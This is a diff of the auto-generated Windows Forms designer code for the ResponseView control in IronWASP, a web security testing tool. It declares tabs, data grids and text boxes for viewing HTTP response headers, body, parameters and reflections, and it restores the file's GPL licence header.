this.BodyParametersTabSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); - this.ScanBodyFormatPluginTypeTabs.SuspendLayout(); - this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).BeginInit(); - this.BodyTypeFormatPluginXMLTab.SuspendLayout(); - this.FormatXmlBaseSplit.Panel1.SuspendLayout(); - this.FormatXmlBaseSplit.Panel2.SuspendLayout(); - this.FormatXmlBaseSplit.SuspendLayout(); - this.ReflectionsTab.SuspendLayout(); - this.HelpTab.SuspendLayout(); - this.EditingTab.SuspendLayout(); - this.SuspendLayout(); - // - // StatusAndErrorTB - // - this.StatusAndErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.StatusAndErrorTB.BackColor = System.Drawing.Color.White; - this.StatusAndErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.StatusAndErrorTB.Location = new System.Drawing.Point(59, 3); - this.StatusAndErrorTB.Name = "StatusAndErrorTB"; - this.StatusAndErrorTB.ReadOnly = true; - this.StatusAndErrorTB.Size = new System.Drawing.Size(421, 13); - this.StatusAndErrorTB.TabIndex = 7; - this.StatusAndErrorTB.Visible = false; - // - // WaitProgressBar - // - this.WaitProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.WaitProgressBar.Location = new System.Drawing.Point(490, 3); - this.WaitProgressBar.MarqueeAnimationSpeed = 10; - this.WaitProgressBar.Name = "WaitProgressBar"; - this.WaitProgressBar.Size = new System.Drawing.Size(114, 13); - this.WaitProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.WaitProgressBar.TabIndex = 6; - this.WaitProgressBar.Visible = false; - // - // BaseTabs - // - this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BaseTabs.Controls.Add(this.HeadersTab); - this.BaseTabs.Controls.Add(this.BodyTab); - this.BaseTabs.Controls.Add(this.BodyParametersTab); - this.BaseTabs.Controls.Add(this.ReflectionsTab); - this.BaseTabs.Controls.Add(this.HelpTab); - this.BaseTabs.Controls.Add(this.EditingTab); - this.BaseTabs.Location = new System.Drawing.Point(0, 20); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(682, 161); - this.BaseTabs.TabIndex = 5; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - this.BaseTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Deselecting); - // - // HeadersTab - // - this.HeadersTab.Controls.Add(this.HeadersTBP); - this.HeadersTab.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); - this.HeadersTab.Name = "HeadersTab"; - this.HeadersTab.Size = new System.Drawing.Size(674, 135); - this.HeadersTab.TabIndex = 0; - this.HeadersTab.Text = " Raw Headers "; - this.HeadersTab.UseVisualStyleBackColor = true; - // - // HeadersTBP - // - this.HeadersTBP.Dock = System.Windows.Forms.DockStyle.Fill; - this.HeadersTBP.Location = new System.Drawing.Point(0, 0); - this.HeadersTBP.Margin = new System.Windows.Forms.Padding(0); - this.HeadersTBP.Name = "HeadersTBP"; - this.HeadersTBP.ReadOnly = false; - this.HeadersTBP.Size = new System.Drawing.Size(674, 135); - this.HeadersTBP.TabIndex = 0; - this.HeadersTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.HeadersTBP_ValueChanged); - // - // BodyTab - // - this.BodyTab.Controls.Add(this.BodyTBP); - this.BodyTab.Location = new System.Drawing.Point(4, 22); - this.BodyTab.Name = "BodyTab"; - this.BodyTab.Size = new System.Drawing.Size(674, 135); - this.BodyTab.TabIndex = 3; - this.BodyTab.Text = " Raw Body "; - this.BodyTab.UseVisualStyleBackColor = true; - // - // BodyTBP - // - this.BodyTBP.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyTBP.Location = new System.Drawing.Point(0, 0); - this.BodyTBP.Margin = new System.Windows.Forms.Padding(0); - this.BodyTBP.Name = "BodyTBP"; - this.BodyTBP.ReadOnly = false; - this.BodyTBP.Size = new System.Drawing.Size(674, 135); - this.BodyTBP.TabIndex = 0; - this.BodyTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.BodyTBP_ValueChanged); - // - // BodyParametersTab - // - this.BodyParametersTab.Controls.Add(this.BodyParametersTabSplit); - this.BodyParametersTab.Location = new System.Drawing.Point(4, 22); - this.BodyParametersTab.Name = "BodyParametersTab"; - this.BodyParametersTab.Size = new System.Drawing.Size(674, 135); - this.BodyParametersTab.TabIndex = 4; - this.BodyParametersTab.Text = " Body Parameters "; - this.BodyParametersTab.UseVisualStyleBackColor = true; - // - // BodyParametersTabSplit - // - this.BodyParametersTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyParametersTabSplit.Location = new System.Drawing.Point(0, 0); - this.BodyParametersTabSplit.Margin = new System.Windows.Forms.Padding(0); - this.BodyParametersTabSplit.Name = "BodyParametersTabSplit"; - // - // BodyParametersTabSplit.Panel1 - // - this.BodyParametersTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); - // - // BodyParametersTabSplit.Panel2 - // - this.BodyParametersTabSplit.Panel2.Controls.Add(this.ScanBodyFormatPluginTypeTabs); - this.BodyParametersTabSplit.Size = new System.Drawing.Size(674, 135); - this.BodyParametersTabSplit.SplitterDistance = 98; - this.BodyParametersTabSplit.SplitterWidth = 2; - this.BodyParametersTabSplit.TabIndex = 0; - // - // FormatPluginsGrid - // - this.FormatPluginsGrid.AllowUserToAddRows = false; - this.FormatPluginsGrid.AllowUserToDeleteRows = false; - this.FormatPluginsGrid.AllowUserToResizeRows = false; - this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.FormatPluginSelectColumn, - this.FormatPluginNameColumn}); - this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; - this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); - this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.FormatPluginsGrid.MultiSelect = false; - this.FormatPluginsGrid.Name = "FormatPluginsGrid"; - this.FormatPluginsGrid.RowHeadersVisible = false; - this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FormatPluginsGrid.Size = new System.Drawing.Size(98, 135); - this.FormatPluginsGrid.TabIndex = 0; - this.FormatPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatPluginsGrid_CellClick); - // - // FormatPluginSelectColumn - // - this.FormatPluginSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.FormatPluginSelectColumn.HeaderText = ""; - this.FormatPluginSelectColumn.MinimumWidth = 20; - this.FormatPluginSelectColumn.Name = "FormatPluginSelectColumn"; - this.FormatPluginSelectColumn.Width = 20; - // - // FormatPluginNameColumn - // - this.FormatPluginNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.FormatPluginNameColumn.HeaderText = "Body Format"; - this.FormatPluginNameColumn.Name = "FormatPluginNameColumn"; - this.FormatPluginNameColumn.ReadOnly = true; - this.FormatPluginNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanBodyFormatPluginTypeTabs - // - this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); - this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); - this.ScanBodyFormatPluginTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanBodyFormatPluginTypeTabs.Location = new System.Drawing.Point(0, 0); - this.ScanBodyFormatPluginTypeTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanBodyFormatPluginTypeTabs.Multiline = true; - this.ScanBodyFormatPluginTypeTabs.Name = "ScanBodyFormatPluginTypeTabs"; - this.ScanBodyFormatPluginTypeTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanBodyFormatPluginTypeTabs.SelectedIndex = 0; - this.ScanBodyFormatPluginTypeTabs.Size = new System.Drawing.Size(574, 135); - this.ScanBodyFormatPluginTypeTabs.TabIndex = 0; - // - // BodyTypeFormatPluginInjectionArrayGridTab - // - this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyFormatPluginsParametersGrid); - this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; - this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(566, 109); - this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; - this.BodyTypeFormatPluginInjectionArrayGridTab.Text = " Name/Value "; - this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; - // - // BodyFormatPluginsParametersGrid - // - this.BodyFormatPluginsParametersGrid.AllowUserToAddRows = false; - this.BodyFormatPluginsParametersGrid.AllowUserToDeleteRows = false; - this.BodyFormatPluginsParametersGrid.AllowUserToResizeRows = false; - this.BodyFormatPluginsParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.BodyFormatPluginsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.BodyFormatPluginsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.BodyFormatPluginsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn3, - this.dataGridViewTextBoxColumn4, - this.Column1}); - this.BodyFormatPluginsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyFormatPluginsParametersGrid.GridColor = System.Drawing.Color.White; - this.BodyFormatPluginsParametersGrid.Location = new System.Drawing.Point(0, 0); - this.BodyFormatPluginsParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.BodyFormatPluginsParametersGrid.Name = "BodyFormatPluginsParametersGrid"; - this.BodyFormatPluginsParametersGrid.RowHeadersVisible = false; - this.BodyFormatPluginsParametersGrid.Size = new System.Drawing.Size(566, 109); - this.BodyFormatPluginsParametersGrid.TabIndex = 2; - this.BodyFormatPluginsParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyFormatPluginsParametersGrid_CellClick); - this.BodyFormatPluginsParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyFormatPluginsParametersGrid_CellValueChanged); - // - // dataGridViewTextBoxColumn3 - // - this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn3.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; - this.dataGridViewTextBoxColumn3.ReadOnly = true; - // - // dataGridViewTextBoxColumn4 - // - this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn4.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; - // - // Column1 - // - this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column1.HeaderText = ""; - this.Column1.MinimumWidth = 20; - this.Column1.Name = "Column1"; - this.Column1.Width = 20; - // - // BodyTypeFormatPluginXMLTab - // - this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXmlBaseSplit); - this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 40); - this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; - this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(154, 30); - this.BodyTypeFormatPluginXMLTab.TabIndex = 1; - this.BodyTypeFormatPluginXMLTab.Text = " Format Plugin XML (For Format Plugin Developers) "; - this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; - // - // FormatXmlBaseSplit - // - this.FormatXmlBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatXmlBaseSplit.Location = new System.Drawing.Point(0, 0); - this.FormatXmlBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.FormatXmlBaseSplit.Name = "FormatXmlBaseSplit"; - // - // FormatXmlBaseSplit.Panel1 - // - this.FormatXmlBaseSplit.Panel1.Controls.Add(this.textBox2); - this.FormatXmlBaseSplit.Panel1.Controls.Add(this.ConvertXmlToObjectBtn); - // - // FormatXmlBaseSplit.Panel2 - // - this.FormatXmlBaseSplit.Panel2.Controls.Add(this.FormatXmlTBP); - this.FormatXmlBaseSplit.Size = new System.Drawing.Size(154, 30); - this.FormatXmlBaseSplit.SplitterDistance = 28; - this.FormatXmlBaseSplit.SplitterWidth = 2; - this.FormatXmlBaseSplit.TabIndex = 5; - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Bottom; - this.textBox2.Location = new System.Drawing.Point(0, -38); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.Size = new System.Drawing.Size(28, 68); - this.textBox2.TabIndex = 5; - this.textBox2.TabStop = false; - this.textBox2.Text = "You can edit this XML & update the changes to the Response body by clicking the a" + - "bove button"; - // - // ConvertXmlToObjectBtn - // - this.ConvertXmlToObjectBtn.Dock = System.Windows.Forms.DockStyle.Top; - this.ConvertXmlToObjectBtn.Location = new System.Drawing.Point(0, 0); - this.ConvertXmlToObjectBtn.Name = "ConvertXmlToObjectBtn"; - this.ConvertXmlToObjectBtn.Size = new System.Drawing.Size(28, 38); - this.ConvertXmlToObjectBtn.TabIndex = 3; - this.ConvertXmlToObjectBtn.Text = "Convert this XML to object"; - this.ConvertXmlToObjectBtn.UseVisualStyleBackColor = true; - this.ConvertXmlToObjectBtn.Click += new System.EventHandler(this.ConvertXmlToObjectBtn_Click); - // - // FormatXmlTBP - // - this.FormatXmlTBP.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatXmlTBP.Location = new System.Drawing.Point(0, 0); - this.FormatXmlTBP.Name = "FormatXmlTBP"; - this.FormatXmlTBP.ReadOnly = false; - this.FormatXmlTBP.Size = new System.Drawing.Size(124, 30); - this.FormatXmlTBP.TabIndex = 4; - this.FormatXmlTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.FormatXmlTBP_ValueChanged); - // - // ReflectionsTab - // - this.ReflectionsTab.Controls.Add(this.ReflectionRTB); - this.ReflectionsTab.Location = new System.Drawing.Point(4, 22); - this.ReflectionsTab.Name = "ReflectionsTab"; - this.ReflectionsTab.Size = new System.Drawing.Size(674, 135); - this.ReflectionsTab.TabIndex = 5; - this.ReflectionsTab.Text = " Reflections "; - this.ReflectionsTab.UseVisualStyleBackColor = true; - // - // ReflectionRTB - // - this.ReflectionRTB.BackColor = System.Drawing.Color.White; - this.ReflectionRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ReflectionRTB.DetectUrls = false; - this.ReflectionRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ReflectionRTB.Font = new System.Drawing.Font("Lucida Bright", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ReflectionRTB.Location = new System.Drawing.Point(0, 0); - this.ReflectionRTB.Name = "ReflectionRTB"; - this.ReflectionRTB.ReadOnly = true; - this.ReflectionRTB.Size = new System.Drawing.Size(674, 135); - this.ReflectionRTB.TabIndex = 1; - this.ReflectionRTB.Text = ""; - // - // HelpTab - // - this.HelpTab.Controls.Add(this.HelpTB); - this.HelpTab.Location = new System.Drawing.Point(4, 22); - this.HelpTab.Name = "HelpTab"; - this.HelpTab.Size = new System.Drawing.Size(674, 135); - this.HelpTab.TabIndex = 6; - this.HelpTab.Text = " Help "; - this.HelpTab.UseVisualStyleBackColor = true; - // - // HelpTB - // - this.HelpTB.BackColor = System.Drawing.Color.White; - this.HelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.HelpTB.Location = new System.Drawing.Point(0, 0); - this.HelpTB.Multiline = true; - this.HelpTB.Name = "HelpTB"; - this.HelpTB.ReadOnly = true; - this.HelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.HelpTB.Size = new System.Drawing.Size(674, 135); - this.HelpTB.TabIndex = 1; - this.HelpTB.TabStop = false; - this.HelpTB.Text = resources.GetString("HelpTB.Text"); - // - // EditingTab - // - this.EditingTab.Controls.Add(this.SaveEditsLbl); - this.EditingTab.Controls.Add(this.EditTBP); - this.EditingTab.Location = new System.Drawing.Point(4, 22); - this.EditingTab.Name = "EditingTab"; - this.EditingTab.Size = new System.Drawing.Size(674, 135); - this.EditingTab.TabIndex = 7; - this.EditingTab.Text = " "; - this.EditingTab.UseVisualStyleBackColor = true; - // - // SaveEditsLbl - // - this.SaveEditsLbl.AutoSize = true; - this.SaveEditsLbl.Location = new System.Drawing.Point(3, 2); - this.SaveEditsLbl.Name = "SaveEditsLbl"; - this.SaveEditsLbl.Size = new System.Drawing.Size(77, 13); - this.SaveEditsLbl.TabIndex = 12; - this.SaveEditsLbl.TabStop = true; - this.SaveEditsLbl.Text = "Save Changes"; - this.SaveEditsLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveEditsLbl_LinkClicked); - // - // EditTBP - // - this.EditTBP.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.EditTBP.Location = new System.Drawing.Point(0, 16); - this.EditTBP.Margin = new System.Windows.Forms.Padding(0); - this.EditTBP.Name = "EditTBP"; - this.EditTBP.ReadOnly = false; - this.EditTBP.Size = new System.Drawing.Size(674, 119); - this.EditTBP.TabIndex = 11; - // - // RenderLbl - // - this.RenderLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.RenderLbl.AutoSize = true; - this.RenderLbl.Location = new System.Drawing.Point(607, 2); - this.RenderLbl.Name = "RenderLbl"; - this.RenderLbl.Size = new System.Drawing.Size(42, 13); - this.RenderLbl.TabIndex = 8; - this.RenderLbl.TabStop = true; - this.RenderLbl.Text = "Render"; - this.RenderLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RenderLbl_LinkClicked); - // - // RoundTripLbl - // - this.RoundTripLbl.AutoSize = true; - this.RoundTripLbl.ForeColor = System.Drawing.Color.Blue; - this.RoundTripLbl.Location = new System.Drawing.Point(3, 3); - this.RoundTripLbl.Name = "RoundTripLbl"; - this.RoundTripLbl.Size = new System.Drawing.Size(0, 13); - this.RoundTripLbl.TabIndex = 9; - // - // ScreenshotBtn - // - this.ScreenshotBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScreenshotBtn.BackgroundImage = global::IronWASP.Properties.Resources.camera; - this.ScreenshotBtn.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center; - this.ScreenshotBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.ScreenshotBtn.Location = new System.Drawing.Point(652, 1); - this.ScreenshotBtn.Name = "ScreenshotBtn"; - this.ScreenshotBtn.Size = new System.Drawing.Size(29, 17); - this.ScreenshotBtn.TabIndex = 10; - this.ScreenshotBtn.UseVisualStyleBackColor = true; - this.ScreenshotBtn.Click += new System.EventHandler(this.ScreenshotBtn_Click); - // - // ResponseView - // - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; - this.BackColor = System.Drawing.Color.White; - this.Controls.Add(this.ScreenshotBtn); - this.Controls.Add(this.RoundTripLbl); - this.Controls.Add(this.RenderLbl); - this.Controls.Add(this.StatusAndErrorTB); - this.Controls.Add(this.WaitProgressBar); - this.Controls.Add(this.BaseTabs); - this.Name = "ResponseView"; - this.Size = new System.Drawing.Size(682, 181); - this.Load += new System.EventHandler(this.ResponseView_Load); - this.BaseTabs.ResumeLayout(false); - this.HeadersTab.ResumeLayout(false); - this.BodyTab.ResumeLayout(false); - this.BodyParametersTab.ResumeLayout(false); - this.BodyParametersTabSplit.Panel1.ResumeLayout(false); - this.BodyParametersTabSplit.Panel2.ResumeLayout(false); - this.BodyParametersTabSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); - this.ScanBodyFormatPluginTypeTabs.ResumeLayout(false); - this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).EndInit(); - this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel1.ResumeLayout(false); - this.FormatXmlBaseSplit.Panel1.PerformLayout(); - this.FormatXmlBaseSplit.Panel2.ResumeLayout(false); - this.FormatXmlBaseSplit.ResumeLayout(false); - this.ReflectionsTab.ResumeLayout(false); - this.HelpTab.ResumeLayout(false); - this.HelpTab.PerformLayout(); - this.EditingTab.ResumeLayout(false); - this.EditingTab.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TextBox StatusAndErrorTB; - private System.Windows.Forms.ProgressBar WaitProgressBar; - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage HeadersTab; - private TextBoxPlus HeadersTBP; - private System.Windows.Forms.TabPage BodyTab; - private TextBoxPlus BodyTBP; - private System.Windows.Forms.TabPage BodyParametersTab; - private System.Windows.Forms.SplitContainer BodyParametersTabSplit; - internal System.Windows.Forms.DataGridView FormatPluginsGrid; - internal System.Windows.Forms.TabControl ScanBodyFormatPluginTypeTabs; - private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; - internal System.Windows.Forms.DataGridView BodyFormatPluginsParametersGrid; - private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; - private System.Windows.Forms.SplitContainer FormatXmlBaseSplit; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Button ConvertXmlToObjectBtn; - private TextBoxPlus FormatXmlTBP; - private System.Windows.Forms.TabPage ReflectionsTab; - internal System.Windows.Forms.RichTextBox ReflectionRTB; - private System.Windows.Forms.LinkLabel RenderLbl; - private System.Windows.Forms.TabPage HelpTab; - private System.Windows.Forms.TextBox HelpTB; - private System.Windows.Forms.Label RoundTripLbl; - private System.Windows.Forms.DataGridViewCheckBoxColumn FormatPluginSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn FormatPluginNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; - private System.Windows.Forms.DataGridViewImageColumn Column1; - private System.Windows.Forms.TabPage EditingTab; - private System.Windows.Forms.LinkLabel SaveEditsLbl; - private TextBoxPlus EditTBP; - private System.Windows.Forms.Button ScreenshotBtn; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ResponseView + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ResponseView)); + this.StatusAndErrorTB = new System.Windows.Forms.TextBox(); + this.WaitProgressBar = new System.Windows.Forms.ProgressBar(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.HeadersTab = new System.Windows.Forms.TabPage(); + this.BodyTab = new System.Windows.Forms.TabPage(); + this.BodyAddLL = new System.Windows.Forms.LinkLabel(); + this.BodyEmptyLbl = new System.Windows.Forms.Label(); + this.BodyParametersTab = new System.Windows.Forms.TabPage(); + this.BodyParamEmptyLbl = new System.Windows.Forms.Label(); + this.BodyParametersTabSplit = new System.Windows.Forms.SplitContainer(); + this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); + this.FormatPluginSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.FormatPluginNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanBodyFormatPluginTypeTabs = new System.Windows.Forms.TabControl(); + this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); + this.BodyFormatPluginsParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewImageColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); + this.FormatXmlBaseSplit = new System.Windows.Forms.SplitContainer(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.ConvertXmlToObjectBtn = new System.Windows.Forms.Button(); + this.ReflectionsTab = new System.Windows.Forms.TabPage(); + this.ReflectionRTB = new System.Windows.Forms.RichTextBox(); + this.HelpTab = new System.Windows.Forms.TabPage(); + this.HelpTB = new System.Windows.Forms.TextBox(); + this.EditingTab = new System.Windows.Forms.TabPage(); + this.SaveEditsLbl = new System.Windows.Forms.LinkLabel(); + this.RenderLbl = new System.Windows.Forms.LinkLabel(); + this.RoundTripLbl = new System.Windows.Forms.Label(); + this.ScreenshotBtn = new System.Windows.Forms.Button(); + this.HeadersTBP = new IronWASP.TextBoxPlus(); + this.BodyTBP = new IronWASP.TextBoxPlus(); + this.FormatXmlTBP = new IronWASP.TextBoxPlus(); + this.EditTBP = new IronWASP.TextBoxPlus(); + this.BaseTabs.SuspendLayout(); + this.HeadersTab.SuspendLayout(); + this.BodyTab.SuspendLayout(); + this.BodyParametersTab.SuspendLayout(); + this.BodyParametersTabSplit.Panel1.SuspendLayout(); + this.BodyParametersTabSplit.Panel2.SuspendLayout(); + this.BodyParametersTabSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); + this.ScanBodyFormatPluginTypeTabs.SuspendLayout(); + this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).BeginInit(); + this.BodyTypeFormatPluginXMLTab.SuspendLayout(); + this.FormatXmlBaseSplit.Panel1.SuspendLayout(); + this.FormatXmlBaseSplit.Panel2.SuspendLayout(); + this.FormatXmlBaseSplit.SuspendLayout(); + this.ReflectionsTab.SuspendLayout(); + this.HelpTab.SuspendLayout(); + this.EditingTab.SuspendLayout(); + this.SuspendLayout(); + // + // StatusAndErrorTB + // + this.StatusAndErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.StatusAndErrorTB.BackColor = System.Drawing.Color.White; + this.StatusAndErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + 